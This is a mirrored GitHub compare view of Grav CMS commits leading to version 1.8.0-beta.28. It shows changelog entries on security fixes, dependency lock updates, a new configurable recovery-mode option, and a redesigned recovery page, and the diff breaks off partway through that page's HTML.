mirror of
https://github.com/getgrav/grav.git
synced 2025-12-16 13:19:42 +01:00
Compare commits
25 Commits
1.8.0-beta
...
15cb068f95
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
15cb068f95 | ||
|
|
d34213232b | ||
|
|
7a6b8a90d4 | ||
|
|
306f33f4ae | ||
|
|
6cb8229806 | ||
|
|
95e285efa4 | ||
|
|
80410dae13 | ||
|
|
fae70e5fc9 | ||
|
|
9d9247a32f | ||
|
|
94d85cd873 | ||
|
|
0f879bd1d4 | ||
|
|
fd828d452e | ||
|
|
63bbc1cac6 | ||
|
|
528032b11a | ||
|
|
a4c3a3af6d | ||
|
|
b7e1958a6e | ||
|
|
0c38968c58 | ||
|
|
9d11094e41 | ||
|
|
ed640a1314 | ||
|
|
e37259527d | ||
|
|
3462d94d57 | ||
|
|
19c2f8da76 | ||
|
|
a161399c84 | ||
|
|
5f120c328b | ||
|
|
db924c4a26 |
37
CHANGELOG.md
37
CHANGELOG.md
@@ -1,3 +1,40 @@
|
||||
# v1.8.0-beta.28
|
||||
## 12/08/2025
|
||||
|
||||
1. [](#new)
|
||||
* Added `updates.recovery_mode` config option to enable/disable recovery mode
|
||||
* Added admin blueprint toggle for recovery mode setting
|
||||
1. [](#improved)
|
||||
* Redesigned recovery mode screen with clearer messaging and modern UI
|
||||
* Added collapsible stack trace details to recovery mode screen
|
||||
* Added "Clear Recovery Mode" button that works without token authentication
|
||||
* Added "Disable Recovery Mode" option to disable via config from recovery screen
|
||||
* Added stack trace capture for exceptions in recovery context
|
||||
* Added PHP version validation from package's `defines.php` during safe upgrade
|
||||
* Added proxy methods to `Twig3CompatibilityLoader` for backwards compatibility with plugins that call loader methods directly (addPath, prependPath, getPaths, etc.)
|
||||
1. [](#bugfix)
|
||||
* Fixed recovery mode image path for Grav installations in subdirectories
|
||||
* Fixed backup restriction preventing backups on systems with Grav installed under `/var/www` - Fixes [#4002](https://github.com/getgrav/grav/issues/4002)
|
||||
* Fixed XSS false positives for legitimate HTML tags containing 'on' (caption, button, section) - Fixes [grav-plugin-admin#2472](https://github.com/getgrav/grav-plugin-admin/issues/2472)
|
||||
|
||||
# v1.8.0-beta.27
|
||||
## 11/30/2025
|
||||
|
||||
1. [](#improved)
|
||||
* Hardened Twig sandbox with expanded blacklist blocking 150+ dangerous functions and attack patterns
|
||||
* Added static regex caching in Security class for improved performance
|
||||
* Added path traversal protection to backup root configuration
|
||||
* Added validation for language codes to prevent regex injection DoS
|
||||
1. [](#bugfix)
|
||||
* Fixed path traversal vulnerability in username during account creation
|
||||
* Fixed username uniqueness bypass allowing duplicate accounts
|
||||
* Fixed arbitrary file read via `read_file()` Twig function
|
||||
* Fixed DoS via malformed cron expressions in scheduler
|
||||
* Fixed password hash exposure to frontend via JSON serialization
|
||||
* Fixed email disclosure in user edit page title
|
||||
* Fixed XSS via `isindex` tag bypass (CVE-2023-31506)
|
||||
* Fixed issue with FlexObjects caching [flex-objects#187](https://github.com/trilbymedia/grav-plugin-flex-objects/issues/187)
|
||||
|
||||
# v1.8.0-beta.26
|
||||
## 11/29/2025
|
||||
|
||||
|
||||
44
composer.lock
generated
44
composer.lock
generated
@@ -4846,16 +4846,16 @@
|
||||
},
|
||||
{
|
||||
"name": "codeception/stub",
|
||||
"version": "4.2.0",
|
||||
"version": "4.2.1",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/Codeception/Stub.git",
|
||||
"reference": "19014cec368cefc0579499779c451551cd288557"
|
||||
"reference": "0c573cd5c62a828dadadc41bc56f8434860bb7bb"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/Codeception/Stub/zipball/19014cec368cefc0579499779c451551cd288557",
|
||||
"reference": "19014cec368cefc0579499779c451551cd288557",
|
||||
"url": "https://api.github.com/repos/Codeception/Stub/zipball/0c573cd5c62a828dadadc41bc56f8434860bb7bb",
|
||||
"reference": "0c573cd5c62a828dadadc41bc56f8434860bb7bb",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -4881,9 +4881,9 @@
|
||||
"description": "Flexible Stub wrapper for PHPUnit's Mock Builder",
|
||||
"support": {
|
||||
"issues": "https://github.com/Codeception/Stub/issues",
|
||||
"source": "https://github.com/Codeception/Stub/tree/4.2.0"
|
||||
"source": "https://github.com/Codeception/Stub/tree/4.2.1"
|
||||
},
|
||||
"time": "2025-08-01T08:15:29+00:00"
|
||||
"time": "2025-12-05T13:37:14+00:00"
|
||||
},
|
||||
{
|
||||
"name": "getgrav/markdowndocs",
|
||||
@@ -5451,11 +5451,11 @@
|
||||
},
|
||||
{
|
||||
"name": "phpstan/phpstan",
|
||||
"version": "2.1.32",
|
||||
"version": "2.1.33",
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/phpstan/phpstan/zipball/e126cad1e30a99b137b8ed75a85a676450ebb227",
|
||||
"reference": "e126cad1e30a99b137b8ed75a85a676450ebb227",
|
||||
"url": "https://api.github.com/repos/phpstan/phpstan/zipball/9e800e6bee7d5bd02784d4c6069b48032d16224f",
|
||||
"reference": "9e800e6bee7d5bd02784d4c6069b48032d16224f",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -5500,7 +5500,7 @@
|
||||
"type": "github"
|
||||
}
|
||||
],
|
||||
"time": "2025-11-11T15:18:17+00:00"
|
||||
"time": "2025-12-05T10:24:31+00:00"
|
||||
},
|
||||
{
|
||||
"name": "phpstan/phpstan-deprecation-rules",
|
||||
@@ -5886,16 +5886,16 @@
|
||||
},
|
||||
{
|
||||
"name": "phpunit/phpunit",
|
||||
"version": "11.5.44",
|
||||
"version": "11.5.45",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/sebastianbergmann/phpunit.git",
|
||||
"reference": "c346885c95423eda3f65d85a194aaa24873cda82"
|
||||
"reference": "faf5fff4fb9beb290affa53f812b05380819c51a"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/c346885c95423eda3f65d85a194aaa24873cda82",
|
||||
"reference": "c346885c95423eda3f65d85a194aaa24873cda82",
|
||||
"url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/faf5fff4fb9beb290affa53f812b05380819c51a",
|
||||
"reference": "faf5fff4fb9beb290affa53f812b05380819c51a",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -5967,7 +5967,7 @@
|
||||
"support": {
|
||||
"issues": "https://github.com/sebastianbergmann/phpunit/issues",
|
||||
"security": "https://github.com/sebastianbergmann/phpunit/security/policy",
|
||||
"source": "https://github.com/sebastianbergmann/phpunit/tree/11.5.44"
|
||||
"source": "https://github.com/sebastianbergmann/phpunit/tree/11.5.45"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -5991,7 +5991,7 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-11-13T07:17:35+00:00"
|
||||
"time": "2025-12-01T07:38:43+00:00"
|
||||
},
|
||||
{
|
||||
"name": "psr/http-client",
|
||||
@@ -6126,16 +6126,16 @@
|
||||
},
|
||||
{
|
||||
"name": "rector/rector",
|
||||
"version": "2.2.9",
|
||||
"version": "2.2.11",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/rectorphp/rector.git",
|
||||
"reference": "0b8e49ec234877b83244d2ecd0df7a4c16471f05"
|
||||
"reference": "7bd21a40b0332b93d4bfee284093d7400696902d"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/rectorphp/rector/zipball/0b8e49ec234877b83244d2ecd0df7a4c16471f05",
|
||||
"reference": "0b8e49ec234877b83244d2ecd0df7a4c16471f05",
|
||||
"url": "https://api.github.com/repos/rectorphp/rector/zipball/7bd21a40b0332b93d4bfee284093d7400696902d",
|
||||
"reference": "7bd21a40b0332b93d4bfee284093d7400696902d",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -6174,7 +6174,7 @@
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/rectorphp/rector/issues",
|
||||
"source": "https://github.com/rectorphp/rector/tree/2.2.9"
|
||||
"source": "https://github.com/rectorphp/rector/tree/2.2.11"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -6182,7 +6182,7 @@
|
||||
"type": "github"
|
||||
}
|
||||
],
|
||||
"time": "2025-11-28T14:21:22+00:00"
|
||||
"time": "2025-12-02T11:23:46+00:00"
|
||||
},
|
||||
{
|
||||
"name": "sebastian/cli-parser",
|
||||
|
||||
28
index.php
28
index.php
@@ -77,8 +77,30 @@ date_default_timezone_set(@date_default_timezone_get());
|
||||
@ini_set('default_charset', 'UTF-8');
|
||||
mb_internal_encoding('UTF-8');
|
||||
|
||||
$recoveryFlag = __DIR__ . '/user/data/recovery.flag';
|
||||
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag)) {
|
||||
// Use getcwd() for paths to support symlinked index.php (GRAV_ROOT uses getcwd())
|
||||
$gravRoot = rtrim(str_replace(DIRECTORY_SEPARATOR, '/', getenv('GRAV_ROOT') ?: getcwd()), '/');
|
||||
|
||||
// Helper function to check if recovery mode is enabled in config (updates.recovery_mode)
|
||||
$isRecoveryEnabled = static function () use ($gravRoot) {
|
||||
$userConfig = $gravRoot . '/user/config/system.yaml';
|
||||
if (!is_file($userConfig)) {
|
||||
return true; // Default enabled
|
||||
}
|
||||
$content = file_get_contents($userConfig);
|
||||
if ($content === false) {
|
||||
return true;
|
||||
}
|
||||
if (preg_match('/^\s*updates:\s*\n(?:\s+\w+:.*\n)*?\s+recovery_mode:\s*(true|false|1|0)\s*$/m', $content, $matches)) {
|
||||
return in_array(strtolower($matches[1]), ['true', '1'], true);
|
||||
}
|
||||
return true; // Default enabled
|
||||
};
|
||||
|
||||
$recoveryFlag = $gravRoot . '/user/data/recovery.flag';
|
||||
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag) && $isRecoveryEnabled()) {
|
||||
if (!defined('GRAV_ROOT')) {
|
||||
define('GRAV_ROOT', $gravRoot);
|
||||
}
|
||||
require __DIR__ . '/system/recovery.php';
|
||||
return 0;
|
||||
}
|
||||
@@ -95,7 +117,7 @@ try {
|
||||
} catch (\Error|\Exception $e) {
|
||||
$grav->fireEvent('onFatalException', new Event(['exception' => $e]));
|
||||
|
||||
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag)) {
|
||||
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag) && $isRecoveryEnabled()) {
|
||||
require __DIR__ . '/system/recovery.php';
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -122,4 +122,13 @@ form:
|
||||
default: '* 3 * * *'
|
||||
validate:
|
||||
required: true
|
||||
.schedule_environment:
|
||||
type: select
|
||||
label: PLUGIN_ADMIN.BACKUPS_PROFILE_ENVIRONMENT
|
||||
help: PLUGIN_ADMIN.BACKUPS_PROFILE_ENVIRONMENT_HELP
|
||||
default: ''
|
||||
options:
|
||||
'': 'Default (cli)'
|
||||
localhost: 'Localhost'
|
||||
cli: 'CLI'
|
||||
|
||||
|
||||
@@ -1605,6 +1605,18 @@ form:
|
||||
type: int
|
||||
min: 0
|
||||
|
||||
updates.recovery_mode:
|
||||
type: toggle
|
||||
label: PLUGIN_ADMIN.RECOVERY_MODE
|
||||
help: PLUGIN_ADMIN.RECOVERY_MODE_HELP
|
||||
highlight: 1
|
||||
default: true
|
||||
options:
|
||||
1: PLUGIN_ADMIN.YES
|
||||
0: PLUGIN_ADMIN.NO
|
||||
validate:
|
||||
type: bool
|
||||
|
||||
http_section:
|
||||
type: section
|
||||
title: PLUGIN_ADMIN.HTTP_SECTION
|
||||
|
||||
@@ -72,7 +72,7 @@ config:
|
||||
# Edit view
|
||||
edit:
|
||||
title:
|
||||
template: "{{ form.value('fullname') ?? form.value('username') }} <{{ form.value('email') }}>"
|
||||
template: "{{ form.value('fullname') ?? form.value('username') }}"
|
||||
|
||||
# Configure view
|
||||
configure:
|
||||
|
||||
@@ -10,6 +10,7 @@ profiles:
|
||||
root: '/'
|
||||
schedule: false
|
||||
schedule_at: '0 3 * * *'
|
||||
schedule_environment: ''
|
||||
exclude_paths: "/backup\r\n/cache\r\n/images\r\n/logs\r\n/tmp"
|
||||
exclude_files: ".DS_Store\r\n.git\r\n.svn\r\n.hg\r\n.idea\r\n.vscode\r\nnode_modules"
|
||||
|
||||
|
||||
@@ -31,6 +31,7 @@ xss_dangerous_tags:
|
||||
- bgsound
|
||||
- title
|
||||
- base
|
||||
- isindex
|
||||
uploads_dangerous_extensions:
|
||||
- php
|
||||
- php2
|
||||
|
||||
@@ -206,6 +206,7 @@ gpm:
|
||||
updates:
|
||||
safe_upgrade: true # Enable guarded staging+rollback pipeline for Grav self-updates
|
||||
safe_upgrade_snapshot_limit: 5 # Maximum number of safe-upgrade snapshots to retain (0 = unlimited)
|
||||
recovery_mode: true # Enable recovery mode when fatal errors occur during upgrades
|
||||
|
||||
http:
|
||||
method: auto # Either 'curl', 'fopen' or 'auto'. 'auto' will try fopen first and if not available cURL
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
|
||||
// Some standard defines
|
||||
define('GRAV', true);
|
||||
define('GRAV_VERSION', '1.8.0-beta.26');
|
||||
define('GRAV_VERSION', '1.8.0-beta.28');
|
||||
define('GRAV_SCHEMA', '1.8.0_2025-09-21_0');
|
||||
define('GRAV_TESTING', true);
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
<?php
|
||||
|
||||
use Grav\Common\Filesystem\Folder;
|
||||
use Grav\Common\Recovery\RecoveryManager;
|
||||
use Grav\Common\Upgrade\SafeUpgradeService;
|
||||
|
||||
@@ -31,6 +32,37 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
exit;
|
||||
}
|
||||
$errorMessage = 'Invalid recovery token.';
|
||||
} elseif ($action === 'clear-flag') {
|
||||
// Clear recovery flag - allowed without authentication
|
||||
$manager->clear();
|
||||
$_SESSION['grav_recovery_authenticated'] = null;
|
||||
$notice = 'Recovery flag cleared. <a href="' . htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8') . '">Reload the page</a> to continue.';
|
||||
} elseif ($action === 'disable-recovery') {
|
||||
// Disable recovery mode in config (updates.recovery_mode) - allowed without authentication
|
||||
$configDir = GRAV_ROOT . '/user/config';
|
||||
$configFile = $configDir . '/system.yaml';
|
||||
Folder::create($configDir);
|
||||
|
||||
$config = [];
|
||||
if (is_file($configFile)) {
|
||||
$content = file_get_contents($configFile);
|
||||
if ($content !== false) {
|
||||
// Simple YAML parsing for this specific case
|
||||
$config = \Symfony\Component\Yaml\Yaml::parse($content) ?? [];
|
||||
}
|
||||
}
|
||||
|
||||
if (!isset($config['updates'])) {
|
||||
$config['updates'] = [];
|
||||
}
|
||||
$config['updates']['recovery_mode'] = false;
|
||||
$yaml = \Symfony\Component\Yaml\Yaml::dump($config, 4, 2);
|
||||
file_put_contents($configFile, $yaml);
|
||||
|
||||
// Also clear the recovery flag
|
||||
$manager->clear();
|
||||
$_SESSION['grav_recovery_authenticated'] = null;
|
||||
$notice = 'Recovery mode has been disabled. <a href="' . htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8') . '">Reload the page</a> to continue.';
|
||||
} elseif ($authenticated) {
|
||||
$service = new SafeUpgradeService();
|
||||
try {
|
||||
@@ -40,16 +72,11 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
$_SESSION['grav_recovery_authenticated'] = null;
|
||||
$notice = 'Rollback complete. Please reload Grav.';
|
||||
}
|
||||
if ($action === 'clear-flag') {
|
||||
$manager->clear();
|
||||
$_SESSION['grav_recovery_authenticated'] = null;
|
||||
$notice = 'Recovery flag cleared.';
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
$errorMessage = $e->getMessage();
|
||||
}
|
||||
} else {
|
||||
$errorMessage = 'Authentication required.';
|
||||
$errorMessage = 'Authentication required for this action.';
|
||||
}
|
||||
}
|
||||
|
||||
@@ -94,6 +121,13 @@ if (is_dir($manifestDir)) {
|
||||
|
||||
$latestSnapshot = $snapshots[0] ?? null;
|
||||
|
||||
// Determine base URL for assets
|
||||
$scriptName = $_SERVER['SCRIPT_NAME'] ?? '/index.php';
|
||||
$baseUrl = rtrim(dirname($scriptName), '/\\');
|
||||
if ($baseUrl === '.' || $baseUrl === '') {
|
||||
$baseUrl = '';
|
||||
}
|
||||
|
||||
header('Content-Type: text/html; charset=utf-8');
|
||||
|
||||
?><!doctype html>
|
||||
@@ -103,99 +137,410 @@ header('Content-Type: text/html; charset=utf-8');
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>Grav Recovery Mode</title>
|
||||
<style>
|
||||
body { font-family: system-ui, -apple-system, BlinkMacSystemFont, sans-serif; margin: 0; padding: 40px; background: #111; color: #eee; }
|
||||
.panel { max-width: 720px; margin: 0 auto; background: #1d1d1f; padding: 24px 32px; border-radius: 12px; box-shadow: 0 10px 45px rgba(0,0,0,0.4); }
|
||||
h1 { font-size: 2.5rem; margin-top: 0; color: #fff; display:flex;align-items:center; }
|
||||
h1 > img {margin-right:1rem;}
|
||||
code { background: rgba(255,255,255,0.08); padding: 2px 4px; border-radius: 4px; }
|
||||
form { margin-top: 16px; }
|
||||
input[type="text"] { width: 100%; padding: 10px; border: 1px solid #333; border-radius: 6px; background: #151517; color: #fff; }
|
||||
button { margin-top: 12px; padding: 10px 16px; border: 0; border-radius: 6px; cursor: pointer; background: #3c8bff; color: #fff; font-weight: 600; }
|
||||
button.secondary { background: #444; }
|
||||
.message { padding: 10px 14px; border-radius: 6px; margin-top: 12px; }
|
||||
.error { background: rgba(220, 53, 69, 0.15); color: #ffb3b8; }
|
||||
.notice { background: rgba(25, 135, 84, 0.2); color: #bdf8d4; }
|
||||
ul { padding-left: 20px; }
|
||||
li { margin-bottom: 8px; }
|
||||
.card { border: 1px solid #2a2a2d; border-radius: 8px; padding: 14px 16px; margin-top: 16px; background: #161618; }
|
||||
small { color: #888; }
|
||||
* { box-sizing: border-box; }
|
||||
body {
|
||||
font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%);
|
||||
min-height: 100vh;
|
||||
color: #e8e8e8;
|
||||
line-height: 1.6;
|
||||
}
|
||||
.container {
|
||||
max-width: 800px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
.header {
|
||||
text-align: center;
|
||||
padding: 30px 0;
|
||||
}
|
||||
.header img {
|
||||
width: 80px;
|
||||
height: auto;
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
.header h1 {
|
||||
font-size: 1.8rem;
|
||||
margin: 0 0 8px 0;
|
||||
color: #fff;
|
||||
font-weight: 600;
|
||||
}
|
||||
.header .subtitle {
|
||||
color: #a0a0a0;
|
||||
font-size: 1rem;
|
||||
margin: 0;
|
||||
}
|
||||
.alert {
|
||||
padding: 16px 20px;
|
||||
border-radius: 8px;
|
||||
margin-bottom: 20px;
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: 12px;
|
||||
}
|
||||
.alert-error {
|
||||
background: rgba(239, 68, 68, 0.15);
|
||||
border: 1px solid rgba(239, 68, 68, 0.3);
|
||||
color: #fca5a5;
|
||||
}
|
||||
.alert-warning {
|
||||
background: rgba(245, 158, 11, 0.15);
|
||||
border: 1px solid rgba(245, 158, 11, 0.3);
|
||||
color: #fcd34d;
|
||||
}
|
||||
.alert-success {
|
||||
background: rgba(34, 197, 94, 0.15);
|
||||
border: 1px solid rgba(34, 197, 94, 0.3);
|
||||
color: #86efac;
|
||||
}
|
||||
.alert-success a { color: #4ade80; }
|
||||
.alert-icon {
|
||||
font-size: 1.5rem;
|
||||
flex-shrink: 0;
|
||||
line-height: 1;
|
||||
}
|
||||
.alert-content { flex: 1; }
|
||||
.alert-title {
|
||||
font-weight: 600;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.card {
|
||||
background: rgba(255, 255, 255, 0.05);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
border-radius: 12px;
|
||||
padding: 24px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
.card h2 {
|
||||
font-size: 1.1rem;
|
||||
margin: 0 0 16px 0;
|
||||
color: #fff;
|
||||
font-weight: 600;
|
||||
}
|
||||
.card h3 {
|
||||
font-size: 1rem;
|
||||
margin: 0 0 12px 0;
|
||||
color: #fff;
|
||||
font-weight: 600;
|
||||
}
|
||||
.error-summary {
|
||||
background: rgba(0, 0, 0, 0.2);
|
||||
border-radius: 8px;
|
||||
padding: 16px;
|
||||
font-family: 'SF Mono', Monaco, 'Cascadia Code', monospace;
|
||||
font-size: 0.9rem;
|
||||
overflow-x: auto;
|
||||
}
|
||||
.error-summary .error-message {
|
||||
color: #f87171;
|
||||
word-break: break-word;
|
||||
}
|
||||
.error-summary .error-location {
|
||||
color: #94a3b8;
|
||||
margin-top: 8px;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
.btn-group {
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
flex-wrap: wrap;
|
||||
margin-top: 16px;
|
||||
}
|
||||
button, .btn {
|
||||
padding: 12px 24px;
|
||||
border: none;
|
||||
border-radius: 8px;
|
||||
font-size: 0.95rem;
|
||||
font-weight: 600;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s ease;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
text-decoration: none;
|
||||
}
|
||||
.btn-primary {
|
||||
background: #3b82f6;
|
||||
color: #fff;
|
||||
}
|
||||
.btn-primary:hover {
|
||||
background: #2563eb;
|
||||
}
|
||||
.btn-secondary {
|
||||
background: rgba(255, 255, 255, 0.1);
|
||||
color: #e8e8e8;
|
||||
border: 1px solid rgba(255, 255, 255, 0.2);
|
||||
}
|
||||
.btn-secondary:hover {
|
||||
background: rgba(255, 255, 255, 0.15);
|
||||
}
|
||||
.btn-danger {
|
||||
background: rgba(239, 68, 68, 0.2);
|
||||
color: #fca5a5;
|
||||
border: 1px solid rgba(239, 68, 68, 0.3);
|
||||
}
|
||||
.btn-danger:hover {
|
||||
background: rgba(239, 68, 68, 0.3);
|
||||
}
|
||||
details {
|
||||
margin-top: 16px;
|
||||
}
|
||||
summary {
|
||||
cursor: pointer;
|
||||
color: #94a3b8;
|
||||
font-size: 0.9rem;
|
||||
padding: 8px 0;
|
||||
user-select: none;
|
||||
}
|
||||
summary:hover {
|
||||
color: #cbd5e1;
|
||||
}
|
||||
.stack-trace {
|
||||
background: rgba(0, 0, 0, 0.3);
|
||||
border-radius: 8px;
|
||||
padding: 16px;
|
||||
margin-top: 12px;
|
||||
font-family: 'SF Mono', Monaco, 'Cascadia Code', monospace;
|
||||
font-size: 0.8rem;
|
||||
overflow-x: auto;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
color: #94a3b8;
|
||||
max-height: 400px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.info-list {
|
||||
list-style: none;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
.info-list li {
|
||||
padding: 8px 0;
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.05);
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
}
|
||||
.info-list li:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
.info-list .label {
|
||||
color: #94a3b8;
|
||||
min-width: 120px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.info-list .value {
|
||||
color: #e8e8e8;
|
||||
word-break: break-word;
|
||||
}
|
||||
input[type="text"] {
|
||||
width: 100%;
|
||||
padding: 12px 16px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.2);
|
||||
border-radius: 8px;
|
||||
background: rgba(0, 0, 0, 0.2);
|
||||
color: #fff;
|
||||
font-size: 0.95rem;
|
||||
margin-top: 8px;
|
||||
}
|
||||
input[type="text"]:focus {
|
||||
outline: none;
|
||||
border-color: #3b82f6;
|
||||
}
|
||||
label {
|
||||
color: #94a3b8;
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
.help-text {
|
||||
color: #64748b;
|
||||
font-size: 0.85rem;
|
||||
margin-top: 8px;
|
||||
}
|
||||
code {
|
||||
background: rgba(255, 255, 255, 0.1);
|
||||
padding: 2px 6px;
|
||||
border-radius: 4px;
|
||||
font-family: 'SF Mono', Monaco, 'Cascadia Code', monospace;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
.quarantine-list {
|
||||
list-style: none;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
.quarantine-list li {
|
||||
padding: 12px;
|
||||
background: rgba(245, 158, 11, 0.1);
|
||||
border-radius: 6px;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
.quarantine-list .plugin-name {
|
||||
font-weight: 600;
|
||||
color: #fcd34d;
|
||||
}
|
||||
.quarantine-list .plugin-time {
|
||||
color: #94a3b8;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
.snapshot-info {
|
||||
background: rgba(0, 0, 0, 0.2);
|
||||
border-radius: 8px;
|
||||
padding: 12px 16px;
|
||||
margin: 12px 0;
|
||||
}
|
||||
.snapshot-info code {
|
||||
color: #60a5fa;
|
||||
}
|
||||
.snapshot-info small {
|
||||
color: #64748b;
|
||||
display: block;
|
||||
margin-top: 4px;
|
||||
}
|
||||
@media (max-width: 600px) {
|
||||
body { padding: 12px; }
|
||||
.card { padding: 16px; }
|
||||
.btn-group { flex-direction: column; }
|
||||
button, .btn { width: 100%; justify-content: center; }
|
||||
.info-list li { flex-direction: column; gap: 4px; }
|
||||
.info-list .label { min-width: auto; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="panel">
|
||||
<h1><img src="system/assets/grav.png">Grav Recovery Mode</h1>
|
||||
<div class="container">
|
||||
<div class="header">
|
||||
<img src="<?php echo htmlspecialchars($baseUrl, ENT_QUOTES, 'UTF-8'); ?>/system/assets/grav.png" alt="Grav" onerror="this.style.display='none'">
|
||||
<h1>Recovery Mode</h1>
|
||||
<p class="subtitle">Grav has encountered an error during a recent update</p>
|
||||
</div>
|
||||
|
||||
<?php if ($notice): ?>
|
||||
<div class="message notice"><?php echo htmlspecialchars($notice, ENT_QUOTES, 'UTF-8'); ?></div>
|
||||
<?php endif; ?>
|
||||
<?php if ($errorMessage): ?>
|
||||
<div class="message error"><?php echo htmlspecialchars($errorMessage, ENT_QUOTES, 'UTF-8'); ?></div>
|
||||
<?php endif; ?>
|
||||
|
||||
<?php if (!$authenticated): ?>
|
||||
<p>This site is running in recovery mode because Grav detected a fatal error.</p>
|
||||
<p>Locate the recovery token in <code>user/data/recovery.flag</code> and enter it below.</p>
|
||||
<form method="post">
|
||||
<input type="hidden" name="action" value="authenticate">
|
||||
<label for="token">Recovery token</label>
|
||||
<input id="token" name="token" type="text" autocomplete="one-time-code" required>
|
||||
<button type="submit">Unlock Recovery</button>
|
||||
</form>
|
||||
<?php else: ?>
|
||||
<div class="card">
|
||||
<h2>Failure Details</h2>
|
||||
<ul>
|
||||
<li><strong>Message:</strong> <?php echo htmlspecialchars($context['message'] ?? 'Unknown', ENT_QUOTES, 'UTF-8'); ?></li>
|
||||
<li><strong>File:</strong> <?php echo htmlspecialchars($context['file'] ?? 'n/a', ENT_QUOTES, 'UTF-8'); ?></li>
|
||||
<li><strong>Line:</strong> <?php echo htmlspecialchars((string)($context['line'] ?? 'n/a'), ENT_QUOTES, 'UTF-8'); ?></li>
|
||||
<?php if (!empty($context['plugin'])): ?>
|
||||
<li><strong>Quarantined plugin:</strong> <?php echo htmlspecialchars($context['plugin'], ENT_QUOTES, 'UTF-8'); ?></li>
|
||||
<?php endif; ?>
|
||||
</ul>
|
||||
<div class="alert alert-success">
|
||||
<span class="alert-icon">✓</span>
|
||||
<div class="alert-content"><?php echo $notice; ?></div>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
|
||||
<?php if ($quarantine): ?>
|
||||
<div class="card">
|
||||
<h3>Quarantined Plugins</h3>
|
||||
<ul>
|
||||
<?php foreach ($quarantine as $entry): ?>
|
||||
<li>
|
||||
<strong><?php echo htmlspecialchars($entry['slug'], ENT_QUOTES, 'UTF-8'); ?></strong>
|
||||
<small>(disabled at <?php echo date('c', $entry['disabled_at']); ?>)</small><br>
|
||||
<?php echo htmlspecialchars($entry['message'] ?? '', ENT_QUOTES, 'UTF-8'); ?>
|
||||
</li>
|
||||
<?php endforeach; ?>
|
||||
</ul>
|
||||
<?php if ($errorMessage): ?>
|
||||
<div class="alert alert-error">
|
||||
<span class="alert-icon">⚠</span>
|
||||
<div class="alert-content">
|
||||
<div class="alert-title">Action Failed</div>
|
||||
<?php echo htmlspecialchars($errorMessage, ENT_QUOTES, 'UTF-8'); ?>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
|
||||
<div class="card">
|
||||
<h3>Rollback</h3>
|
||||
<?php if ($latestSnapshot): ?>
|
||||
<form method="post">
|
||||
<input type="hidden" name="action" value="rollback">
|
||||
<input type="hidden" name="manifest" value="<?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?>">
|
||||
<p>
|
||||
Latest snapshot:
|
||||
<code><?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?></code>
|
||||
